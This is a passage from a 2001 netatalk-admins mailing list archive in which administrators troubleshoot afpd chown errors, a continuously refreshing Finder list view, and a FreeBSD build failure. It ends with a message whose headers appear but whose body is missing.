>- build netatalk-1.5pre4 from source w/o ADMIN_GRP, DROPKLUDGE and
>FORCE_UIDGID
>- I'm the first and only additional user (uid 500/gid 500)
>- the volume is totaly owned by me (maximum chowned and chmoded :-)
>- tested with MacOS 7.5, 8.6 and 9.0
>
>Axel.


From netatalk.administrators-errors@umich.edu  Wed Feb 28 14:44:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA10817
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 14:44:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19609
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 14:44:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19600
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 14:44:02 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h015.c017.sfo.cp.net [209.228.12.229])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA19573
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 14:44:01 -0500 (EST)
Received: (cpmta 3712 invoked from network); 28 Feb 2001 11:44:00 -0800
Received: from www.waaaow.com (HELO ?192.168.0.50?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.229) with SMTP; 28 Feb 2001 11:44:00 -0800
X-Sent: 28 Feb 2001 19:44:00 GMT
Mime-Version: 1.0
Message-Id: <p04320402b6c3056168c3@[192.168.0.50]>
In-Reply-To: <3A9D4FB3.DAEAC40E@i-clue.de>
References: <3A9D4FB3.DAEAC40E@i-clue.de>
Date: Wed, 28 Feb 2001 11:46:32 -0800
To: so@server.i-clue.de
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: Re: Mac List view updating continuously - Fix?
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

yes, totally.

i had that problem with the noadouble feature enabled on my shares. 
that was running 1.5pre3 on a redhat 7.0 box.  since dropping the 
noadouble (ie-allowing .appledouble files) the problem has 
disappeared.  i've had no other problems since.

w

>Dear List,
>
>netatalk-1.4b2+asun2.1.3 running on a FreeBSD server configured with 50
>connections. (Exact configuration follows below.)
>
>When viewing the apple volumes in list view, the Finder continuously
>updates the list view. I.e. the info bar at the top of the window shows
>anything between 650 and 670 objects in the list view, starting with the
>lowest number, then growing until the maximum is reached, where it drops
>again to the lowest number.
>
>The server shows this behavior even when the network is completely idle
>(only one Mac client).
>
>Any hints?
>
>-Christoph Sold
>
>[Configuration data follows]
>
>$ uname -a
>FreeBSD amnesix.i-clue.de 4.2-STABLE FreeBSD 4.2-STABLE #4: Tue Feb 13
>18:11:45
>CET 2001     so@amnesix.i-clue.de:/usr/src/sys/compile/AMNESIX-4.2-S
>i386
>$ cat atalkd.conf
>fxp0 -phase 2 -net 0-65534 -addr 65280.119
>$ cat afpd.conf
>- -nocleartext -nosavepassword -nouservol -nodebug
>$ cat AppleVolumes.default
>~ options=noadouble
>/usr/local/www Spielwiese options=noadouble access=@lusers
>/usr/tmp tmp options=noadouble access=@lusers
>/f/programme Programme options=noadouble access=@lusers
>/f/projekte Projekte options=noadouble access=@lusers
>$ pkg_info -aI|grep netatalk
>netatalk-1.4b2+asun2.1.3


From netatalk.administrators-errors@umich.edu  Wed Feb 28 15:39:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA13948
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 15:39:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02703
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 15:39:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02692
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 15:39:43 -0500 (EST)
Received: from ns.srz-berlin.de (ns.srz-berlin.de [212.5.11.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA02645
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 15:39:41 -0500 (EST)
Received: from srz-berlin.de (gw.srz-berlin.de [212.5.11.2])
	by ns.srz-berlin.de (8.8.7/8.8.7) with ESMTP id VAA24216
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 21:39:40 +0100
Sender: bringi@ns.srz-berlin.de
Message-ID: <3A9D6275.A64526A4@srz-berlin.de>
Date: Wed, 28 Feb 2001 21:41:25 +0100
From: Axel Bringenberg <A.Bringenberg@srz-berlin.de>
Organization: Satz-Rechen-Zentrum Berlin - Systemgruppe (http://www.srz.de)
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: de-DE, en
MIME-Version: 1.0
CC: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
References: <Pine.LNX.4.30.0102222035380.808-100000@www.molbio.wisc.edu>
	 <5.0.2.1.0.20010228093339.00a6bc20@127.0.0.1>
	 <3A9D4D6A.87EB6BF0@srz-berlin.de> <p04330100b6c300cf0a27@[64.108.217.40]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I'm just wondering why the _user_ process tries to set a gid of 0 or an
uid of 16777216 (0x1000000) ?! Hmm...

- Axel

Keith Lamont schrieb:
> 
> Same here, except I tried the .rpm before building from scratch, and
> only tested against Mac OS 9. I'm not a total stranger to netatalk;
> had it running with RH 5.2 on another box.
> 
> Keith
> 
> >Hi Marc,
> >
> >"Marc J. Miller" schrieb:
> >>
> >>  Looks familiar to me too.
> >>
> >>  If you're using a netatalk 1.5 prerelease and you have either ADMIN_GRP or
> >>  DROPKLUDGE turned on, I think that's my bailiwick and I need to know what
> >>  platform and flavor you two using to fix it (e.g. Red Hat Linux 7, FreeBSD,
> >>  Debian Linux 2.2, etc.).  That's an awfully large uid, though... 16 million
> >>  user names is a lot.  Is it possible that the number is too big and we've
> >>  run into a limitation of chown?
> >
> >No, I don't think so. I've been fighting against the same problem too
> >and in my case I'm today the only user of a fresh installed rh7.0 box:
> >
> >------------<snip>-----------------------------------
> >Feb 28 17:27:33 gromit afpd[18327]: cleartext login: bringi
> >Feb 28 17:27:33 gromit PAM_pwdb[18327]: (netatalk) session opened for
> >user bringi by (uid=0)
> >Feb 28 17:27:33 gromit afpd[18327]: login bringi (uid 500, gid 500)
> >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> >.AppleDouble/.Parent: Invalid argument
> >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> >.AppleDouble: Invalid argument
> >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
> >Invalid argument
> >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
> >.AppleDouble/.Parent: Operation not permitted
> >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> >.AppleDouble/.Parent: Invalid argument
> >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> >.AppleDouble: Invalid argument
> >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
> >Invalid argument
> >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
> >.AppleDouble/.Parent: Operation not permitted
> >Feb 28 17:28:01 gromit afpd[18327]: setdirowner: chown -1/0
> >.AppleDouble/.Parent: Operation not permitted
> >Feb 28 17:28:27 gromit afpd[18327]: logout bringi
> >------------<snip>-----------------------------------
> >
> >This happens everytime while moving, copying or creating files -
> >directories are doing fine. Is it possible that some pieces of the new
> >(and broken) FORCE_UIDGID code is still active? Or is it maybee a
> >Redhat-only problem?
> >
> >I've looked arround and found some similar messages in this list, all
> >reporting problems with
> >    setdirowner: chown -1/0 .: Operation not permitted
> >or setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
> >or setdirowner: chown 16777216/-1 .: Invalid argument
> >or setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument
> >
> >Most of them using rh7.0 (or mdk) and netatalk since 1.5pre3.
> >
> >In my case I've ...
> >- build a freshly RH7.0 box with all possible updates (incl.
> >kernel-2.2.17-14)
> >- build netatalk-1.5pre4 from source w/o ADMIN_GRP, DROPKLUDGE and
> >FORCE_UIDGID
> >- I'm the first and only additional user (uid 500/gid 500)
> >- the volume is totaly owned by me (maximum chowned and chmoded :-)
> >- tested with MacOS 7.5, 8.6 and 9.0
> >
> >Axel.

-- 
Satz-Rechen-Zentrum Berlin - Systemgruppe

From netatalk.administrators-errors@umich.edu  Wed Feb 28 16:59:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA17984
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 16:59:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA17960
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 16:59:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA17958
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 16:59:27 -0500 (EST)
Received: from sandman.ucdavis.edu (sandman.ucdavis.edu [169.237.105.36])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA17938
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 16:59:26 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by sandman.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1SLwuU26449;
	Wed, 28 Feb 2001 13:58:56 -0800 (PST)
Date: Wed, 28 Feb 2001 13:58:56 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@sandman.ucdavis.edu
To: Christoph Sold <so@server.i-clue.de>
cc: netatalk-admins@umich.edu
Subject: Re: Mac List view updating continuously - Fix?
In-Reply-To: <3A9D4FB3.DAEAC40E@i-clue.de>
Message-ID: <Pine.GSO.4.21.0102281356050.23562-100000@sandman.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I haven't seen this with netatalk, but I've seen this on PC-formatted
disks.  The solution was to delete the resource.frk directory and let it
treat all files as unknown, then rewrite the data.  If you have
.AppleDouble enabled, I hate to say it but the best solution might be to
delete all files in the .AppleDouble subdirectory of the directory you're
having trouble with.

For more information about this problem, search the web for "dancing
icons" (including the archives for this list).  

On Wed, 28 Feb 2001, Christoph Sold wrote:

> Dear List,
> 
> netatalk-1.4b2+asun2.1.3 running on a FreeBSD server configured with 50
> connections. (Exact configuration follows below.)
> 
> When viewing the apple volumes in list view, the Finder continuously
> updates the list view. I.e. the info bar at the top of the window shows
> anything between 650 and 670 objects in the list view, starting with the
> lowest number, then growing until the maximum is reached, where it drops
> again to the lowest number.
> 
> The server shows this behavior even when the network is completely idle
> (only one Mac client).
> 
> Any hints?
> 
> -Christoph Sold
> 
> [Configuration data follows]
> 
> $ uname -a
> FreeBSD amnesix.i-clue.de 4.2-STABLE FreeBSD 4.2-STABLE #4: Tue Feb 13
> 18:11:45
> CET 2001     so@amnesix.i-clue.de:/usr/src/sys/compile/AMNESIX-4.2-S 
> i386
> $ cat atalkd.conf
> fxp0 -phase 2 -net 0-65534 -addr 65280.119
> $ cat afpd.conf
> - -nocleartext -nosavepassword -nouservol -nodebug
> $ cat AppleVolumes.default
> ~ options=noadouble
> /usr/local/www Spielwiese options=noadouble access=@lusers
> /usr/tmp tmp options=noadouble access=@lusers
> /f/programme Programme options=noadouble access=@lusers
> /f/projekte Projekte options=noadouble access=@lusers
> $ pkg_info -aI|grep netatalk
> netatalk-1.4b2+asun2.1.3
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Wed Feb 28 17:36:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA19228
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 17:36:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA16395
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 17:36:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA16387
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 17:36:27 -0500 (EST)
Received: from sandman.ucdavis.edu (sandman.ucdavis.edu [169.237.105.36])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA16372
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 17:36:26 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by sandman.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1SMa5U27796;
	Wed, 28 Feb 2001 14:36:05 -0800 (PST)
Date: Wed, 28 Feb 2001 14:36:05 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@sandman.ucdavis.edu
To: Axel Bringenberg <A.Bringenberg@srz-berlin.de>
cc: Florian Schedler <FlorianSchedler@gmx.de>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
In-Reply-To: <3A9D4D6A.87EB6BF0@srz-berlin.de>
Message-ID: <Pine.GSO.4.21.0102281322230.23562-100000@sandman.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Is it always the same uid (16777216)?  Does that uid correspond to anyone
registered on your system?  I have seen chown #/-1 and chown -1/# errors,
but not with that UID.

On Wed, 28 Feb 2001, Axel Bringenberg wrote:

> Hi Marc,
> 
> "Marc J. Miller" schrieb:
> > 
> > Looks familiar to me too.
> > 
> > If you're using a netatalk 1.5 prerelease and you have either ADMIN_GRP or
> > DROPKLUDGE turned on, I think that's my bailiwick and I need to know what
> > platform and flavor you two using to fix it (e.g. Red Hat Linux 7, FreeBSD,
> > Debian Linux 2.2, etc.).  That's an awfully large uid, though... 16 million
> > user names is a lot.  Is it possible that the number is too big and we've
> > run into a limitation of chown?
> 
> No, I don't think so. I've been fighting against the same problem too
> and in my case I'm today the only user of a fresh installed rh7.0 box:
> 
> ------------<snip>-----------------------------------
> Feb 28 17:27:33 gromit afpd[18327]: cleartext login: bringi
> Feb 28 17:27:33 gromit PAM_pwdb[18327]: (netatalk) session opened for
> user bringi by (uid=0)
> Feb 28 17:27:33 gromit afpd[18327]: login bringi (uid 500, gid 500)
> Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> .AppleDouble/.Parent: Invalid argument
> Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> .AppleDouble: Invalid argument
> Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
> Invalid argument
> Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted
> Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> .AppleDouble/.Parent: Invalid argument
> Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> .AppleDouble: Invalid argument
> Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
> Invalid argument
> Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted
> Feb 28 17:28:01 gromit afpd[18327]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted
> Feb 28 17:28:27 gromit afpd[18327]: logout bringi
> ------------<snip>-----------------------------------
> 
> This happens everytime while moving, copying or creating files -
> directories are doing fine. Is it possible that some pieces of the new
> (and broken) FORCE_UIDGID code is still active? Or is it maybee a
> Redhat-only problem?
> 
> I've looked arround and found some similar messages in this list, all
> reporting problems with
>    setdirowner: chown -1/0 .: Operation not permitted
> or setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
> or setdirowner: chown 16777216/-1 .: Invalid argument
> or setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument
> 
> Most of them using rh7.0 (or mdk) and netatalk since 1.5pre3.
> 
> In my case I've ...
> - build a freshly RH7.0 box with all possible updates (incl.
> kernel-2.2.17-14)
> - build netatalk-1.5pre4 from source w/o ADMIN_GRP, DROPKLUDGE and
> FORCE_UIDGID
> - I'm the first and only additional user (uid 500/gid 500)
> - the volume is totaly owned by me (maximum chowned and chmoded :-)
> - tested with MacOS 7.5, 8.6 and 9.0
> 
> Axel.
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/



From netatalk.administrators-errors@umich.edu  Wed Feb 28 17:56:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA19886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 17:56:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01501
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 17:56:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01494
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 17:56:41 -0500 (EST)
Received: from dfw-smtpout4.email.verio.net (dfw-smtpout4.email.verio.net [129.250.36.44])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA01477
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 17:56:40 -0500 (EST)
Received: from [129.250.38.62] (helo=dfw-mmp2.email.verio.net)
	by dfw-smtpout4.email.verio.net with esmtp
	id 14YFWR-00007i-00; Wed, 28 Feb 2001 22:56:39 +0000
Received: from [64.108.217.192] (helo=[64.108.217.192])
	by dfw-mmp2.email.verio.net with esmtp
	id 14YFWQ-0004oE-00; Wed, 28 Feb 2001 22:56:38 +0000
Mime-Version: 1.0
X-Sender: keith@pop.wwa.com
Message-Id: <p04330102b6c33126673b@[64.108.217.192]>
In-Reply-To: <Pine.GSO.4.21.0102281322230.23562-100000@sandman.ucdavis.edu>
References: <Pine.GSO.4.21.0102281322230.23562-100000@sandman.ucdavis.edu>
Date: Wed, 28 Feb 2001 16:56:18 -0600
To: Marc Miller <itlm019@mailbox.ucdavis.edu>
From: Keith Lamont <keith@webwalla.com>
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
Cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Here's some entries from my log. Owner is 500, group is 500, and both 
are the highest numbered ids in the system.

messages.1:Feb 24 10:29:19 fred afpd[5232]: setdirowner: chown 
16777216/-1 .AppleDouble/.Parent: Invalid argument
messages.1:Feb 24 10:29:19 fred afpd[5232]: setdirowner: chown 
16777216/-1 .AppleDouble: Invalid argument
messages.1:Feb 24 10:29:19 fred afpd[5232]: setdirowner: chown 
16777216/-1 .: Invalid argument
messages.1:Feb 24 10:29:19 fred afpd[5232]: setdirowner: chown -1/0 
.AppleDouble/.Parent: Operation not permitted
messages.1:Feb 24 10:29:19 fred afpd[5232]: setdirowner: chown 
16777216/-1 .AppleDouble/.Parent: Invalid argument
messages.1:Feb 24 10:29:19 fred afpd[5232]: setdirowner: chown 
16777216/-1 .AppleDouble: Invalid argument
messages.1:Feb 24 10:29:19 fred afpd[5232]: setdirowner: chown 
16777216/-1 .: Invalid argument
messages.1:Feb 24 10:29:19 fred afpd[5232]: setdirowner: chown -1/0 
.AppleDouble/.Parent: Operation not permitted
messages.1:Feb 24 10:31:44 fred afpd[5232]: setdirowner: chown -1/0 
.AppleDouble/.Parent: Operation not permitted

Keith

At 2:36 PM -0800 2/28/01, Marc Miller wrote:
>Is it always the same uid (16777216)?  Does that uid correspond to anyone
>registered on your system?  I have seen chown #/-1 and chown -1/# errors,
>but not with that UID.
>
>On Wed, 28 Feb 2001, Axel Bringenberg wrote:
>
>>  Hi Marc,
>>
>>  "Marc J. Miller" schrieb:
>>  >
>>  > Looks familiar to me too.
>>  >
>>  > If you're using a netatalk 1.5 prerelease and you have either ADMIN_GRP or
>>  > DROPKLUDGE turned on, I think that's my bailiwick and I need to know what
>>  > platform and flavor you two using to fix it (e.g. Red Hat Linux 
>>7, FreeBSD,
>>  > Debian Linux 2.2, etc.).  That's an awfully large uid, though... 
>>16 million
>>  > user names is a lot.  Is it possible that the number is too big and we've
>>  > run into a limitation of chown?
>>
>>  No, I don't think so. I've been fighting against the same problem too
>>  and in my case I'm today the only user of a fresh installed rh7.0 box:
>>
>>  ------------<snip>-----------------------------------
>>  Feb 28 17:27:33 gromit afpd[18327]: cleartext login: bringi
>>  Feb 28 17:27:33 gromit PAM_pwdb[18327]: (netatalk) session opened for
>>  user bringi by (uid=0)
>>  Feb 28 17:27:33 gromit afpd[18327]: login bringi (uid 500, gid 500)
>>  Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
>>  .AppleDouble/.Parent: Invalid argument
>>  Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
>>  .AppleDouble: Invalid argument
>>  Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
>>  Invalid argument
>>  Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
>>  .AppleDouble/.Parent: Operation not permitted
>>  Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
>>  .AppleDouble/.Parent: Invalid argument
>>  Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
>>  .AppleDouble: Invalid argument
>>  Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
>>  Invalid argument
>>  Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
>>  .AppleDouble/.Parent: Operation not permitted
>>  Feb 28 17:28:01 gromit afpd[18327]: setdirowner: chown -1/0
>>  .AppleDouble/.Parent: Operation not permitted
>>  Feb 28 17:28:27 gromit afpd[18327]: logout bringi
>>  ------------<snip>-----------------------------------
>>
>>  This happens everytime while moving, copying or creating files -
>>  directories are doing fine. Is it possible that some pieces of the new
>>  (and broken) FORCE_UIDGID code is still active? Or is it maybee a
>>  Redhat-only problem?
>>
>>  I've looked arround and found some similar messages in this list, all
>>  reporting problems with
>>     setdirowner: chown -1/0 .: Operation not permitted
>>  or setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
>>  or setdirowner: chown 16777216/-1 .: Invalid argument
>  > or setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument
>>
>>  Most of them using rh7.0 (or mdk) and netatalk since 1.5pre3.
>>
>>  In my case I've ...
>>  - build a freshly RH7.0 box with all possible updates (incl.
>>  kernel-2.2.17-14)
>>  - build netatalk-1.5pre4 from source w/o ADMIN_GRP, DROPKLUDGE and
>>  FORCE_UIDGID
>>  - I'm the first and only additional user (uid 500/gid 500)
>>  - the volume is totaly owned by me (maximum chowned and chmoded :-)
>>  - tested with MacOS 7.5, 8.6 and 9.0
>>
>>  Axel.
>>
>
>============================================================
>	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
>	Computer Room Consultant
>	Information Technology/Lab Management
>============================================================
>I can be contacted through the Communication Center link from
>http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Wed Feb 28 18:28:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA20746
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 18:28:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00475
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 18:28:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA00454
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 18:28:37 -0500 (EST)
Received: from kakapo.cs.auckland.ac.nz (kakapo.cs.auckland.ac.nz [130.216.34.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA29581
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 18:28:06 -0500 (EST)
Received: from [130.216.108.120] (bobby.cs.auckland.ac.nz [130.216.108.120]) by kakapo.cs.auckland.ac.nz (8.8.6/8.8.6/cs-master) with ESMTP id MAA18708 for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 12:28:03 +1300 (NZDT) (sender bobby@cs.auckland.ac.nz)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 02 Mar 2001 08:32:19 +1300
Subject: installing netatalk on freebsd 
From: Paramjit Cheema <bobby@cs.auckland.ac.nz>
To: <netatalk-admins@umich.edu>
Message-ID: <B6C50B13.207D%bobby@cs.auckland.ac.nz>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Dear list ,

i was installing netatalk-1.4b2+asun2.1.3   on freebsd 4.2 and  it stopped
in the middle of make process giving the following error i have des lib
installed .


gcc -DBSD4_4    -O2 -I../../include        -DUSE_PAM -DAPPLCNAME -DSHADOWPW
-c u
nix.c
unix.c:302: unbalanced `#endif'
unix.c:327: unbalanced `#endif'
*** Error code 1

Stop in /netatalk-1.4b2+asun2.1.3/etc/afpd.
*** Error code 1

Stop in /netatalk-1.4b2+asun2.1.3/etc/afpd.
*** Error code 1

Stop in /netatalk-1.4b2+asun2.1.3/etc.
*** Error code 1

Stop in /netatalk-1.4b2+asun2.1.3/sys/freebsd.
*** Error code 1

Stop in /netatalk-1.4b2+asun2.1.3.



could anybody . please help me intracing out this problem


cheers

bobby



From netatalk.administrators-errors@umich.edu  Wed Feb 28 19:28:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA21636
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 19:28:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA08069
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 19:28:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA08059
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 19:28:17 -0500 (EST)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA08039
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 19:28:16 -0500 (EST)
Received: from [195.20.224.208] (helo=mrvdom01.schlund.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14YGx3-00030j-00
	for netatalk-admins@umich.edu; Thu, 1 Mar 2001 01:28:13 +0100
Received: from p3e9ecafa.dip0.t-ipconnect.de ([62.158.202.250])
	by mrvdom01.schlund.de with esmtp (Exim 2.12 #2)
	id 14YGx8-0003Gd-00
	for netatalk-admins@umich.edu; Thu, 1 Mar 2001 01:28:18 +0100
User-Agent: Microsoft-Entourage/9.0.3108
Date: Thu, 01 Mar 2001 01:27:03 +0100
Subject: Re: pre4: can not run ./config.sub
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B6C35322.26277%ts@visual-s.de>
In-Reply-To: <3A9BB7D2.FD5DC084@univrel.pr.uconn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

